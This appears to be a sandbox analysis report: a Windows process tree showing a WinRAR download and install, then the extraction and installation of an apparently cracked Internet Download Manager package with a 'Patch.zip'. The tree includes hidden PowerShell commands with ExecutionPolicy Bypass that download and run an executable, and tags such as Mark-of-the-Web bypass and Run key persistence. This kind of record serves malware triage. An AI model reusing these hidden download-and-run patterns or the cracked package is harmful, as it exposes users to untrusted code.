-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1560,i,7397055734933082873,10322579031400702876,262144 --field-trial-handle=1908,i,4983069276373246123,934889340936508631,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=1904 /prefetch:22⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2212,i,16858050214179897834,6225968924403076621,524288 --field-trial-handle=1908,i,4983069276373246123,934889340936508631,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=2208 /prefetch:112⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2344,i,2817533981806831560,814288952142627034,524288 --field-trial-handle=1908,i,4983069276373246123,934889340936508631,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=2524 /prefetch:132⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3112,i,2796422906464152036,12181174857795126409,2097152 --field-trial-handle=1908,i,4983069276373246123,934889340936508631,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=3284 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3292,i,5160312022646660203,16195586630021952012,2097152 --field-trial-handle=1908,i,4983069276373246123,934889340936508631,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=3400 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3800,i,16796789527624848396,10251579801655314518,2097152 --field-trial-handle=1908,i,4983069276373246123,934889340936508631,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=4004 /prefetch:92⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4752,i,13900974638367212161,2498437195484987171,2097152 --field-trial-handle=1908,i,4983069276373246123,934889340936508631,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=4716 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4892,i,10168280914694389146,14560825020007777955,2097152 --field-trial-handle=1908,i,4983069276373246123,934889340936508631,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=4952 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5104,i,4471994719316631344,18059117669724515502,2097152 --field-trial-handle=1908,i,4983069276373246123,934889340936508631,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=5116 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5272,i,2894885965476057208,6183214299605903309,2097152 --field-trial-handle=1908,i,4983069276373246123,934889340936508631,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=5256 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5712,i,18343490683671259582,10763654909254283675,524288 --field-trial-handle=1908,i,4983069276373246123,934889340936508631,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=4792 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5896,i,12660968132703980195,7491509743124843672,2097152 --field-trial-handle=1908,i,4983069276373246123,934889340936508631,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=4784 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=6004,i,17909757038653814219,10703596499644464854,2097152 --field-trial-handle=1908,i,4983069276373246123,934889340936508631,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=5976 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of SendNotifyMessage
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fff7af9c728,0x7fff7af9c734,0x7fff7af9c7402⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1624,i,12054631703526575848,17384839386705429446,262144 --field-trial-handle=1816,i,13850003761661779970,8602422872523643124,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=1812 /prefetch:22⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2204,i,1500640762345151768,9729064993877072030,524288 --field-trial-handle=1816,i,13850003761661779970,8602422872523643124,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=2248 /prefetch:112⤵
- Downloads MZ/PE file
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2348,i,18336206876578551517,12908170358116936482,524288 --field-trial-handle=1816,i,13850003761661779970,8602422872523643124,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=2360 /prefetch:132⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3212,i,2504584314857425797,1134026368027212848,2097152 --field-trial-handle=1816,i,13850003761661779970,8602422872523643124,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=3388 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3392,i,17618728620591150766,14330842604022604730,2097152 --field-trial-handle=1816,i,13850003761661779970,8602422872523643124,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=3416 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3800,i,8434317613874041535,11744901682923024795,2097152 --field-trial-handle=1816,i,13850003761661779970,8602422872523643124,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=3848 /prefetch:92⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4692,i,7174878253854213433,16320765368961790238,2097152 --field-trial-handle=1816,i,13850003761661779970,8602422872523643124,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=4712 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4840,i,2725523562028247348,16375342383352445960,2097152 --field-trial-handle=1816,i,13850003761661779970,8602422872523643124,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=4908 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5052,i,14160164965560530650,12493635546843905338,2097152 --field-trial-handle=1816,i,13850003761661779970,8602422872523643124,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=5080 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5676,i,10499985481297859009,5498541031326871270,524288 --field-trial-handle=1816,i,13850003761661779970,8602422872523643124,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=5692 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5756,i,17672426168073247496,8409325732686700144,2097152 --field-trial-handle=1816,i,13850003761661779970,8602422872523643124,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=5728 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=4588,i,11784276652384401500,16126798822344472261,2097152 --field-trial-handle=1816,i,13850003761661779970,8602422872523643124,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=6204 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4556,i,12078396724350518518,5037169548965381905,524288 --field-trial-handle=1816,i,13850003761661779970,8602422872523643124,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=6116 /prefetch:142⤵
- Subvert Trust Controls: Mark-of-the-Web Bypass
- NTFS ADS
-
-
C:\Users\Admin\Downloads\WinRAR-723.exe"C:\Users\Admin\Downloads\WinRAR-723.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "try { $WebClient = New-Object System.Net.WebClient; $WebClient.DownloadFile('https://www.win-rar.com/fileadmin/winrar-versions/downloader/versions.xml', 'C:\Users\Admin\AppData\Local\Temp\wrtmp\versions.xml'); Write-Host 'SUCCESS' -NoNewline; exit 0 } catch { if ($_.Exception -is [System.Net.WebException]) { Write-Host $_.Exception.Response.StatusCode.value__ -NoNewline; exit 1 } else { Write-Host $_.Exception.Message -NoNewline; exit 2 } }"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "try { $WebClient = New-Object System.Net.WebClient; $WebClient.DownloadFile('https://www.win-rar.com/fileadmin/winrar-versions/winrar/winrar-x64-723.exe', 'C:\Users\Admin\AppData\Local\Temp\wrtmp\wrarinstaller.exe'); Write-Host 'SUCCESS' -NoNewline; exit 0 } catch { if ($_.Exception -is [System.Net.WebException]) { Write-Host $_.Exception.Response.StatusCode.value__ -NoNewline; exit 1 } else { Write-Host $_.Exception.Message -NoNewline; exit 2 } }"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -noninteractive -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File .\script.ps1 C:\Users\Admin\AppData\Local\Temp\wrtmp\wrarinstaller.exe C:\Users\Admin\AppData\Local\Temp\wrtmp\downloadedCertificate.txt -FFFeatureOff3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\wrtmp\wrarinstaller.exe"C:\Users\Admin\AppData\Local\Temp\wrtmp\wrarinstaller.exe" -s1 -d"C:\Program Files\WinRAR"3⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Program Files\WinRAR\uninstall.exe"C:\Program Files\WinRAR\uninstall.exe" /setup4⤵
- Executes dropped EXE
- Modifies system executable filetype association
- Drops file in Program Files directory
- Modifies registry class
-
C:\Program Files\WinRAR\RarExtInstaller.exe"C:\Program Files\WinRAR\RarExtInstaller.exe" -install5⤵
- Executes dropped EXE
-
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "try { $headers = @{'User-Agent'='MyApp/1.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Edg/128.0.0.0'; 'Content-Type'='application/json'}; $body = @{ payload = @{ website = 'b2afcf08-4ca2-48e4-a206-1e275ef84749'; hostname = 'test'; screen = '1920x1080'; language = 'en-US'; title = 'tracking'; url = '/track'; referrer = '/tracker'; name = 'finished installation'; data = @{ Language='en'; SetupType='Easy Setup' } }; type = 'event' } | ConvertTo-Json -Depth 6 -Compress; $null = Invoke-RestMethod -Method POST -Uri 'https://umami.win-rar.com/api/send' -Headers $headers -Body $body; Write-Host 'SUCCESS' -NoNewline; exit 0 } catch { if ($_.Exception -and $_.Exception.Response -and $_.Exception.Response.StatusCode.value__) { Write-Host $_.Exception.Response.StatusCode.value__ -NoNewline; exit 1 } else { Write-Host $_.Exception.Message -NoNewline; exit 2 } }"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\explorer.exe"C:\Windows\explorer.exe" "C:\Program Files\WinRAR\WinRAR.exe"3⤵
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3404,i,2415099327391783479,4348127321492325144,524288 --field-trial-handle=1816,i,13850003761661779970,8602422872523643124,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=4924 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3460,i,14494168589358876149,2605547197001904611,524288 --field-trial-handle=1816,i,13850003761661779970,8602422872523643124,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=6988 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6116,i,9909902293490632674,11374757282092805070,524288 --field-trial-handle=1816,i,13850003761661779970,8602422872523643124,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=7032 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
-
C:\Program Files\WinRAR\WinRAR.exe"C:\Program Files\WinRAR\WinRAR.exe"2⤵
- Executes dropped EXE
-
C:\Program Files\WinRAR\RarExtInstaller.exe"C:\Program Files\WinRAR\RarExtInstaller.exe" -install3⤵
- Executes dropped EXE
-
-
-
C:\Program Files\WinRAR\RarExtInstaller.exe"C:\Program Files\WinRAR\RarExtInstaller.exe" /install /local1⤵
- Executes dropped EXE
-
C:\Program Files\WinRAR\WinRAR.exe"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\Admin\Downloads\Internet Download Manager 6.43 Build 9 Multilingual + Retail [FileCR].zip"1⤵
- Executes dropped EXE
- Subvert Trust Controls: Mark-of-the-Web Bypass
- NTFS ADS
- Suspicious behavior: GetForegroundWindowSpam
-
C:\Program Files\WinRAR\WinRAR.exe"C:\Program Files\WinRAR\WinRAR.exe" x -iext -ver -imon1 -- "C:\Users\Admin\Downloads\Internet Download Manager 6.43 Build 9 Multilingual + Retail\Patch.zip" "C:\Users\Admin\Downloads\Internet Download Manager 6.43 Build 9 Multilingual + Retail\"1⤵
- Executes dropped EXE
- Subvert Trust Controls: Mark-of-the-Web Bypass
- NTFS ADS
-
C:\Users\Admin\Downloads\Internet Download Manager 6.43 Build 9 Multilingual + Retail\idman643build9f.exe"C:\Users\Admin\Downloads\Internet Download Manager 6.43 Build 9 Multilingual + Retail\idman643build9f.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp"C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp" -d "C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Installs/modifies Browser Helper Object
- Drops file in Program Files directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /s "C:\Program Files (x86)\Internet Download Manager\IDMIECC64.dll"3⤵
- Loads dropped DLL
-
C:\Windows\system32\regsvr32.exe/s "C:\Program Files (x86)\Internet Download Manager\IDMIECC64.dll"4⤵
- Loads dropped DLL
-
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /s "C:\Program Files (x86)\Internet Download Manager\IDMGetAll64.dll"3⤵
- Loads dropped DLL
-
C:\Windows\system32\regsvr32.exe/s "C:\Program Files (x86)\Internet Download Manager\IDMGetAll64.dll"4⤵
- Loads dropped DLL
-
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /s "C:\Program Files (x86)\Internet Download Manager\downlWithIDM64.dll"3⤵
- Loads dropped DLL
-
C:\Windows\system32\regsvr32.exe/s "C:\Program Files (x86)\Internet Download Manager\downlWithIDM64.dll"4⤵
- Loads dropped DLL
- Modifies registry class
-
-
-
C:\Program Files (x86)\Internet Download Manager\idmBroker.exe"C:\Program Files (x86)\Internet Download Manager\idmBroker.exe" -RegServer3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Modifies registry class
-
-
C:\Program Files (x86)\Internet Download Manager\IDMan.exe"C:\Program Files (x86)\Internet Download Manager\IDMan.exe" /rtr3⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\regsvr32.exeC:\Windows\Sysnative\regsvr32.exe /s "C:\Program Files (x86)\Internet Download Manager\IDMShellExt64.dll"4⤵
- Loads dropped DLL
-
-
C:\Windows\system32\regsvr32.exeC:\Windows\Sysnative\regsvr32.exe /s "C:\Program Files (x86)\Internet Download Manager\IDMIECC64.dll"4⤵
- Loads dropped DLL
- Modifies registry class
-
-
C:\Windows\system32\regsvr32.exeC:\Windows\Sysnative\regsvr32.exe /s "C:\Program Files (x86)\Internet Download Manager\IDMGetAll64.dll"4⤵
- Loads dropped DLL
- Modifies registry class
-
-
C:\Windows\system32\regsvr32.exeC:\Windows\Sysnative\regsvr32.exe /s "C:\Program Files (x86)\Internet Download Manager\downlWithIDM64.dll"4⤵
- Loads dropped DLL
- Modifies registry class
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.internetdownloadmanager.com/support/installffextfrommozillasite.html4⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.internetdownloadmanager.com/support/installffextfrommozillasite.html5⤵
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1940 -prefsLen 27097 -prefMapHandle 1944 -prefMapSize 270279 -ipcHandle 2028 -initialChannelId {3f8c3167-1482-4836-9081-babddfc68c47} -parentPid 3724 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3724" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu6⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2408 -prefsLen 27133 -prefMapHandle 2412 -prefMapSize 270279 -ipcHandle 2428 -initialChannelId {6b44a78b-2126-4b49-bdae-072555a62a13} -parentPid 3724 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3724" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket6⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3792 -prefsLen 25164 -prefMapHandle 3796 -prefMapSize 270279 -jsInitHandle 3800 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3808 -initialChannelId {f03cfa7b-100c-4291-a8dc-8795fab49c6f} -parentPid 3724 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3724" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab6⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3848 -prefsLen 27274 -prefMapHandle 3836 -prefMapSize 270279 -ipcHandle 4028 -initialChannelId {dc1a53a3-2e31-4718-ae72-a0505cdb9658} -parentPid 3724 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3724" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd6⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2724 -prefsLen 34773 -prefMapHandle 2992 -prefMapSize 270279 -jsInitHandle 3252 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2600 -initialChannelId {0876f999-217b-48df-9842-9d2f710e26b5} -parentPid 3724 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3724" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab6⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 5088 -prefsLen 34822 -prefMapHandle 5092 -prefMapSize 270279 -ipcHandle 5100 -initialChannelId {1bb7a6fa-27ef-4605-97ef-847b4a90016c} -parentPid 3724 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3724" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility6⤵
- Checks processor information in registry
-
-
